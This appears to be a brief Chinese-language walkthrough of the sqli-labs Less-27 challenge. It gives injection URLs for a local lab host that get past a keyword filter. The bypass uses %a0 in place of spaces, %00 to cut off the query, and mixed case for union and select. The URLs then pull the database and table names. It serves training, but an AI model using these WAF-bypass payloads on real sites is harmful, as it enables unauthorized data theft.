Less-27
sql注入 WAF绕过相关笔记:点击此处less-25
首先按照提示使用id
http://192.168.99.100/Less-27/?id=1 返回正常,有回显
http://192.168.99.100/Less-27/?id=1’ 出现报错
http://192.168.99.100/Less-27/?id=1’ ;%00 返回正常,绕过注释
判断字段数:
http://192.168.99.100/Less-27/?id=1’ %a0 order %a0 by %a0 3;%00
获取回显位:
http://192.168.99.100/Less-27/?id=1’ %a0 union %a0 select %a0 1,%a0 2,%a0 3;%00 返回错误,查看一下提示,union、select消失,说明对这两个词进行了转义,我们使用大小写混合
http://192.168.99.100/Less-27/?id=11111’ %a0 uNion %a0 SeLect %a0 1,%a0 2,%a0 3;%00 成功使用大小写混合绕过
获取数据库:
http://192.168.99.100/Less-27/?id=11111’ %a0 uNion %a0 SeLect %a0 1,%a0 2,%a0 database();%00
获取security中的表:
http://192.168.99.100/Less-27/?id=11111’ %a0 uNion %a0 SeLect %a0 1,%a0 2,%a0 (sEleCt %a0 group_concat(table_name) %a0 from %a0 inForMaTiOn_schema.tables %a0 where %a0 table_schema=0x7365637572697479) ;%00
此关卡使用大小写即可绕过waf防护,其他查询不再重复